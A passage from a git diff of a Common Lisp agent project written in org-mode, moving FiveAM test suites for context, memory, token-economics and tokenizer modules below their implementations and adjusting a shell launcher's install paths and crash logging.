("project")) :contents nil)) - (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) - (let ((output (context-awareness-assemble))) - (is (search "Project 1" output)) - (is (search "Project 2" output)))) - -(test test-context-empty-memory - "Contract 1: empty memory produces clean output without error." - (clrhash passepartout::*memory-store*) - (let ((output (context-awareness-assemble))) - (is (stringp output)) - (is (search "MEMEX" output :test #'char-equal)))) - -(test test-context-no-foveal-focus - "Contract 2: without foveal focus, no inline content appears." - (clrhash passepartout::*memory-store*) - (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) - :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") - :raw-content "CHILD CONTENT" :contents nil))))) - (ingest-ast ast) - (let ((output (context-awareness-assemble nil))) - (is (stringp output)) - (is (not (search "CHILD CONTENT" output)))))) - -(test test-semantic-retrieval-trigram - "Contract v0.4.0: trigram backend produces non-zero similarity for related content." - (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) - (v2 (passepartout::embedding-backend-trigram "add password authentication"))) - (let ((sim (passepartout::vector-cosine-similarity v1 v2))) - (is (> sim 0.0)))) - (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) - (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) - (let ((sim (passepartout::vector-cosine-similarity v3 v4))) - (is (> sim 0.75)))) - (let ((v5 (passepartout::embedding-backend-trigram "authentication")) - (v6 (passepartout::embedding-backend-trigram "banana"))) - (let ((sim (passepartout::vector-cosine-similarity v5 v6))) - (is (< sim 0.3))))) -#+end_src - * Implementation ** Package Context @@ -382,3 +311,73 @@ to ~context-awareness-assemble~. :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src +* Test Suite +Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-peripheral-vision-tests + (:use :cl :fiveam :passepartout) + (:export #:vision-suite)) +(in-package :passepartout-peripheral-vision-tests) + +(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.") +(in-suite vision-suite) + +(test test-foveal-rendering + "Contract 1: foveal content inline, peripheral content title-only." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node") + :raw-content "FOVEAL CONTENT" :contents nil) + (:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node") + :raw-content "PERIPHERAL CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble (list :foveal-focus "node-foveal")))) + (is (search "FOVEAL CONTENT" output)) + (is (search "* Peripheral Node" output)) + (is (not (search "PERIPHERAL CONTENT" output)))))) + +(test test-awareness-budget + "Contract 1: all active projects appear in awareness output." + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil)) + (ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil)) + (let ((output (context-awareness-assemble))) + (is (search "Project 1" output)) + (is (search "Project 2" output)))) + +(test test-context-empty-memory + "Contract 1: empty memory produces clean output without error." + (clrhash passepartout::*memory-store*) + (let ((output (context-awareness-assemble))) + (is (stringp output)) + (is (search "MEMEX" output :test #'char-equal)))) + +(test test-context-no-foveal-focus + "Contract 2: without foveal focus, no inline content appears." + (clrhash passepartout::*memory-store*) + (let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project")) + :contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node") + :raw-content "CHILD CONTENT" :contents nil))))) + (ingest-ast ast) + (let ((output (context-awareness-assemble nil))) + (is (stringp output)) + (is (not (search "CHILD CONTENT" output)))))) + +(test test-semantic-retrieval-trigram + "Contract v0.4.0: trigram backend produces non-zero similarity for related content." + (let ((v1 (passepartout::embedding-backend-trigram "implement user login form")) + (v2 (passepartout::embedding-backend-trigram "add password authentication"))) + (let ((sim (passepartout::vector-cosine-similarity v1 v2))) + (is (> sim 0.0)))) + (let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module")) + (v4 (passepartout::embedding-backend-trigram "authentication login form handler fix"))) + (let ((sim (passepartout::vector-cosine-similarity v3 v4))) + (is (> sim 0.75)))) + (let ((v5 (passepartout::embedding-backend-trigram "authentication")) + (v6 (passepartout::embedding-backend-trigram "banana"))) + (let ((sim (passepartout::vector-cosine-similarity v5 v6))) + (is (< sim 0.3))))) +#+end_src \ No newline at end of file diff --git a/org/symbolic-scope.org b/org/symbolic-scope.org index ccd1814..e6af40d 100644 --- a/org/symbolic-scope.org +++ b/org/symbolic-scope.org @@ -36,51 +36,6 @@ scope means for each project, and how the stack is managed. 14. (context-save): persists the context stack to disk. 15. (context-load): restores the context stack from disk on startup. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-context-tests - (:use :cl :passepartout) - (:export #:context-suite)) - -(in-package :passepartout-context-tests) - -(fiveam:def-suite context-suite :description "Context manager verification") -(fiveam:in-suite context-suite) - -(fiveam:test test-push-pop-context - "Contract 1-2: push-context and pop-context maintain stack order." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when stack-var - (setf (symbol-value stack-var) nil) - (push-context :project "testapp" :base-path "/tmp" :scope :project) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) - (pop-context) - (fiveam:is (null (symbol-value stack-var)))))) - -(fiveam:test test-context-save-load - "Contract 3-4: context-save and context-load round-trip." - (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) - (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) - (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) - (when (and stack-var pf-var) - (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) - (setf (symbol-value pf-var) tmpfile) - (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) - (context-save) - (fiveam:is (probe-file tmpfile)) - (setf (symbol-value stack-var) nil) - (context-load) - (fiveam:is (= 1 (length (symbol-value stack-var)))) - (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) - (ignore-errors (delete-file tmpfile)))))) -#+end_src - * Implementation ** Context Stack @@ -356,11 +311,53 @@ Also restores any previously saved context stack. (context-load) #+end_src -* Contract +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-context-tests + (:use :cl :passepartout) + (:export #:context-suite)) + +(in-package :passepartout-context-tests) + +(fiveam:def-suite context-suite :description "Context manager verification") +(fiveam:in-suite context-suite) + +(fiveam:test test-push-pop-context + "Contract 1-2: push-context and pop-context maintain stack order." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) + (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) + (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) + (when stack-var + (setf (symbol-value stack-var) nil) + (push-context :project "testapp" :base-path "/tmp" :scope :project) + (fiveam:is (= 1 (length (symbol-value stack-var)))) + (fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project))) + (pop-context) + (fiveam:is (null (symbol-value stack-var)))))) + +(fiveam:test test-context-save-load + "Contract 3-4: context-save and context-load round-trip." + (let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER")) + (stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg))) + (pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg)))) + (when (and stack-var pf-var) + (let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory)))) + (setf (symbol-value pf-var) tmpfile) + (setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project))) + (context-save) + (fiveam:is (probe-file tmpfile)) + (setf (symbol-value stack-var) nil) + (context-load) + (fiveam:is (= 1 (length (symbol-value stack-var)))) + (fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project))) + (ignore-errors (delete-file tmpfile)))))) +#+end_src* Contract 1. (push-context &key project base-path scope): pushes a context plist onto ~*context-stack*~ and persists to disk. 2. (pop-context): pops the top context, persists, returns restored context. 3. (context-save): serializes ~*context-stack*~ to the persistence file. -4. (context-load): restores ~*context-stack*~ from persistence file on boot. - +4. (context-load): restores ~*context-stack*~ from persistence file on boot. \ No newline at end of file diff --git a/org/symbolic-time-memory.org b/org/symbolic-time-memory.org index 84f6e6b..9ad9802 100644 --- a/org/symbolic-time-memory.org +++ b/org/symbolic-time-memory.org @@ -24,59 +24,6 @@ tokens. ~90% token reduction on time-scoped memory queries. ~context-query~ with temporal filtering. Falls back to ~context-query~ for non-time-scoped queries. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-time-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:time-memory-suite)) - -(in-package :passepartout-time-memory-tests) - -(def-suite time-memory-suite :description "Temporal memory filtering") -(in-suite time-memory-suite) - -(test test-memory-objects-since - "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) - (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) - (let ((since-t1 (passepartout::memory-objects-since t1))) - (is (= 2 (length since-t1))) - (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) - (is (string= "time-c" (first ids))) - (is (string= "time-d" (second ids)))) - (let ((since-t0 (passepartout::memory-objects-since t0))) - (is (= 4 (length since-t0)))))))) - -(test test-memory-objects-in-range - "Contract 2: ingest nodes, verify range query returns correct subset." - (clrhash passepartout::*memory-store*) - (let ((t0 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) - (sleep 1) - (let ((t1 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) - (sleep 1) - (let ((t2 (get-universal-time))) - (sleep 1) - (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) - (let ((range (passepartout::memory-objects-in-range t1 t2))) - (is (= 1 (length range))) - (is (string= "rng-2" (memory-object-id (first range))))))))) -#+end_src - * Implementation ** Package context @@ -155,3 +102,55 @@ Falls back to context-query if temporal filtering is not requested." (subseq todo-filtered 0 (min max-results (length todo-filtered)))))) #+end_src +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-time-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:time-memory-suite)) + +(in-package :passepartout-time-memory-tests) + +(def-suite time-memory-suite :description "Temporal memory filtering") +(in-suite time-memory-suite) + +(test test-memory-objects-since + "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil)) + (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil)) + (let ((since-t1 (passepartout::memory-objects-since t1))) + (is (= 2 (length since-t1))) + (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<))) + (is (string= "time-c" (first ids))) + (is (string= "time-d" (second ids)))) + (let ((since-t0 (passepartout::memory-objects-since t0))) + (is (= 4 (length since-t0)))))))) + +(test test-memory-objects-in-range + "Contract 2: ingest nodes, verify range query returns correct subset." + (clrhash passepartout::*memory-store*) + (let ((t0 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil)) + (sleep 1) + (let ((t1 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil)) + (sleep 1) + (let ((t2 (get-universal-time))) + (sleep 1) + (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil)) + (let ((range (passepartout::memory-objects-in-range t1 t2))) + (is (= 1 (length range))) + (is (string= "rng-2" (memory-object-id (first range))))))))) +#+end_src \ No newline at end of file diff --git a/org/token-economics.org b/org/token-economics.org index 8d9bdee..21f40e6 100644 --- a/org/token-economics.org +++ b/org/token-economics.org @@ -62,108 +62,6 @@ token-economics is not loaded. Returns nil when no context cache data is available. Consumed by the TUI actuator for the sidebar Context gauge (v0.8.0). -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-token-economics-tests - (:use :cl :fiveam :passepartout) - (:export #:token-economics-suite)) - -(in-package :passepartout-token-economics-tests) - -(def-suite token-economics-suite - :description "Prompt prefix caching, incremental context, token budget") -(in-suite token-economics-suite) - -(test test-prompt-prefix-cached-identity - "Contract 1: prompt-prefix-cached includes identity-content when provided." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached - "Agent" "### Mode: concise" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "Mode: concise" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-builds - "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-hits - "Contract 1: second call with same inputs returns cached result." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (string= p1 p2)))) - -(test test-prompt-prefix-cached-miss - "Contract 1: different inputs rebuild the cache." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) - (is (not (string= p1 p2))) - (is (search "Bot" p2)))) - -(test test-context-assemble-cached-skips-heartbeat - "Contract 2: heartbeat sensors skip context assembly, return nil." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :heartbeat))) - (is (null result)))) - -(test test-context-assemble-cached-skips-delegation - "Contract 2: delegation sensors also skip assembly." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :delegation))) - (is (null result)))) - -(test test-context-assemble-cached-non-skip - "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :user-input))) - (is (stringp result)) - (is (> (length result) 0)))) - -(test test-enforce-token-budget-passthrough - "Contract 3: under-budget prompts pass through unchanged." - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) - (is (string= "hi" p)) - (is (string= "ctxt" c)) - (is (string= "log" l)) - (is (string= "user" u)) - (is (null m)))) - -(test test-enforce-token-budget-trims - "Contract 3: over-budget prompts get trimmed." - (let ((big-prefix (make-string 20000 :initial-element #\x))) - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) - (declare (ignore p l u m)) - ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed - (is (or (stringp c) (null c))) - (is (search "[Context trimmed" (or c "")))))) - -(test test-token-economics-initialize - "Contract 4: initialize zeroes all cache state." - (setf (car passepartout::*prompt-prefix-cache*) 12345 - (cdr passepartout::*prompt-prefix-cache*) "stale") - (setf (getf passepartout::*context-cache* :rendered) "stale context") - (passepartout::token-economics-initialize) - (is (null (car passepartout::*prompt-prefix-cache*))) - (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) - (is (string= "" (getf passepartout::*context-cache* :rendered)))) -#+end_src - * Implementation ** Package context @@ -311,7 +209,107 @@ Returns nil when no context cache data is available." nil))) #+end_src -* v0.8.0 Tests — Context Usage +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-token-economics-tests + (:use :cl :fiveam :passepartout) + (:export #:token-economics-suite)) + +(in-package :passepartout-token-economics-tests) + +(def-suite token-economics-suite + :description "Prompt prefix caching, incremental context, token budget") +(in-suite token-economics-suite) + +(test test-prompt-prefix-cached-identity + "Contract 1: prompt-prefix-cached includes identity-content when provided." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached + "Agent" "### Mode: concise" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "Mode: concise" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-builds + "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (stringp prefix)) + (is (search "IDENTITY" prefix)) + (is (search "TOOLS" prefix)))) + +(test test-prompt-prefix-cached-hits + "Contract 1: second call with same inputs returns cached result." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) + (is (string= p1 p2)))) + +(test test-prompt-prefix-cached-miss + "Contract 1: different inputs rebuild the cache." + (setf (car passepartout::*prompt-prefix-cache*) nil + (cdr passepartout::*prompt-prefix-cache*) "") + (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) + (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) + (is (not (string= p1 p2))) + (is (search "Bot" p2)))) + +(test test-context-assemble-cached-skips-heartbeat + "Contract 2: heartbeat sensors skip context assembly, return nil." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :heartbeat))) + (is (null result)))) + +(test test-context-assemble-cached-skips-delegation + "Contract 2: delegation sensors also skip assembly." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :delegation))) + (is (null result)))) + +(test test-context-assemble-cached-non-skip + "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." + (let ((result (passepartout::context-assemble-cached + '(:foveal-focus "id1") :user-input))) + (is (stringp result)) + (is (> (length result) 0)))) + +(test test-enforce-token-budget-passthrough + "Contract 3: under-budget prompts pass through unchanged." + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) + (is (string= "hi" p)) + (is (string= "ctxt" c)) + (is (string= "log" l)) + (is (string= "user" u)) + (is (null m)))) + +(test test-enforce-token-budget-trims + "Contract 3: over-budget prompts get trimmed." + (let ((big-prefix (make-string 20000 :initial-element #\x))) + (multiple-value-bind (p c l u m) + (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) + (declare (ignore p l u m)) + ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed + (is (or (stringp c) (null c))) + (is (search "[Context trimmed" (or c "")))))) + +(test test-token-economics-initialize + "Contract 4: initialize zeroes all cache state." + (setf (car passepartout::*prompt-prefix-cache*) 12345 + (cdr passepartout::*prompt-prefix-cache*) "stale") + (setf (getf passepartout::*context-cache* :rendered) "stale context") + (passepartout::token-economics-initialize) + (is (null (car passepartout::*prompt-prefix-cache*))) + (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) + (is (string= "" (getf passepartout::*context-cache* :rendered)))) +#+end_src* v0.8.0 Tests — Context Usage #+begin_src lisp (in-package :passepartout-token-economics-tests) @@ -344,4 +342,4 @@ Returns nil when no context cache data is available." (getf passepartout::*context-cache* :time-tokens) nil) (is (null (passepartout::context-usage-percentage)))) (setf passepartout::*context-cache* saved-ctx)))) -#+end_src +#+end_src \ No newline at end of file diff --git a/org/tokenizer.org b/org/tokenizer.org index 3d651a8..5103db6 100644 --- a/org/tokenizer.org +++ b/org/tokenizer.org @@ -30,81 +30,6 @@ The tokenizer feeds three subsystems: model and token count (combined input+output at input prices — slight overestimate is safer than underestimate for budgeting). -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tokenizer-tests - (:use :cl :fiveam :passepartout) - (:export #:tokenizer-suite)) - -(in-package :passepartout-tokenizer-tests) - -(def-suite tokenizer-suite :description "Token counting and cost estimation") -(in-suite tokenizer-suite) - -(test test-count-tokens-default - "Contract 1: count-tokens returns non-zero for a non-empty string." - (let ((count (count-tokens "hello world"))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-known-model - "Contract 1: count-tokens with a known model returns a count." - (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-unknown-model - "Contract 1: count-tokens with an unknown model falls back to default." - (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-empty - "Contract 1: count-tokens on empty string returns 0." - (let ((count (count-tokens ""))) - (is (= 0 count)))) - -(test test-model-token-ratio-known - "Contract 2: known model returns correct ratio." - (is (= 4.0 (model-token-ratio :gpt-4o-mini))) - (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) - (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) - -(test test-model-token-ratio-unknown - "Contract 2: unknown model returns default ratio." - (is (= 4.0 (model-token-ratio :unknown-model-abc)))) - -(test test-token-cost-known - "Contract 3: token-cost returns a number for known model." - (let ((cost (token-cost :gpt-4o-mini 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-token-cost-unknown - "Contract 3: token-cost returns 0.0 for unknown model." - (is (= 0.0 (token-cost :no-such-model 1000)))) - -(test test-provider-token-cost - "Contract: provider-token-cost maps provider to model price." - (let ((cost (provider-token-cost :deepseek 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-count-tokens-ratio-sensitivity - "Contract 1: longer text produces proportionally more tokens." - (let ((short (count-tokens "hi" :model :gpt-4o-mini)) - (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) - (is (> long short)))) - -(test test-count-tokens-non-string - "Contract 1: non-string values are coerced and counted." - (let ((count (count-tokens 12345))) - (is (> count 0)))) -#+end_src - * Implementation ** Package Context @@ -225,3 +150,77 @@ Uses the provider's default model for pricing." 0.0))) #+end_src +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tokenizer-tests + (:use :cl :fiveam :passepartout) + (:export #:tokenizer-suite)) + +(in-package :passepartout-tokenizer-tests) + +(def-suite tokenizer-suite :description "Token counting and cost estimation") +(in-suite tokenizer-suite) + +(test test-count-tokens-default + "Contract 1: count-tokens returns non-zero for a non-empty string." + (let ((count (count-tokens "hello world"))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-known-model + "Contract 1: count-tokens with a known model returns a count." + (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-unknown-model + "Contract 1: count-tokens with an unknown model falls back to default." + (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-empty + "Contract 1: count-tokens on empty string returns 0." + (let ((count (count-tokens ""))) + (is (= 0 count)))) + +(test test-model-token-ratio-known + "Contract 2: known model returns correct ratio." + (is (= 4.0 (model-token-ratio :gpt-4o-mini))) + (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) + (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) + +(test test-model-token-ratio-unknown + "Contract 2: unknown model returns default ratio." + (is (= 4.0 (model-token-ratio :unknown-model-abc)))) + +(test test-token-cost-known + "Contract 3: token-cost returns a number for known model." + (let ((cost (token-cost :gpt-4o-mini 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-token-cost-unknown + "Contract 3: token-cost returns 0.0 for unknown model." + (is (= 0.0 (token-cost :no-such-model 1000)))) + +(test test-provider-token-cost + "Contract: provider-token-cost maps provider to model price." + (let ((cost (provider-token-cost :deepseek 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-count-tokens-ratio-sensitivity + "Contract 1: longer text produces proportionally more tokens." + (let ((short (count-tokens "hi" :model :gpt-4o-mini)) + (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) + (is (> long short)))) + +(test test-count-tokens-non-string + "Contract 1: non-string values are coerced and counted." + (let ((count (count-tokens 12345))) + (is (> count 0)))) +#+end_src \ No newline at end of file diff --git a/passepartout b/passepartout index 9ff0a00..5d3ae16 100755 --- a/passepartout +++ b/passepartout @@ -81,6 +81,9 @@ setup_system() { esac done + # Always deploy to XDG, not the dev directory + export PASSEPARTOUT_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")" + echo -e "${BLUE}=== Passepartout: Configure ===${NC}" mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR" mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests" @@ -97,7 +100,9 @@ setup_system() { fi echo -e "${YELLOW}--- Deploying Engine to $PASSEPARTOUT_DATA_DIR ---${NC}" - cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/" + if [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ]; then + cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/" + fi mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests" export INSTALL_DIR="$PASSEPARTOUT_DATA_DIR" @@ -106,7 +111,7 @@ setup_system() { [ -f "$f" ] || continue fname=$(basename "$f" .org) echo "Tangling $fname..." - cp "$f" "$PASSEPARTOUT_DATA_DIR/org/" + [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ] && cp "$f" "$PASSEPARTOUT_DATA_DIR/org/" (cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \ --eval "(require 'org)" \ --eval "(setq org-confirm-babel-evaluate nil)" \ @@ -382,7 +387,7 @@ case "$COMMAND" in --eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \ --eval '(ql:quickload :passepartout/tui)' \ --eval '(in-package :passepartout)' \ - --eval '(handler-bind ((error (lambda (c) (format t "~%CRASH: ~a~%" c) (sb-debug:print-backtrace :count 30 :stream *error-output*) (finish-output) (finish-output *error-output*) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))' + --eval '(handler-bind ((error (lambda (c) (ignore-errors (with-open-file (f (merge-pathnames ".cache/passepartout/tui-crash.log" (user-homedir-pathname)) :direction :output :if-exists :supersede :if-does-not-exist :create) (format f "CRASH: ~a~%~%" c) (sb-debug:print-backtrace :count 50 :stream f) (finish-output f))) (format t "~%=== TUI CRASH ===~%CRASH: ~a~%" c) (format t "Full backtrace saved to ~~/.cache/passepartout/tui-crash.log~~%") (sleep 3) (finish-output) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))' ;; gateway) SUBCMD=$1; PLATFORM=$2; TOKEN=$3 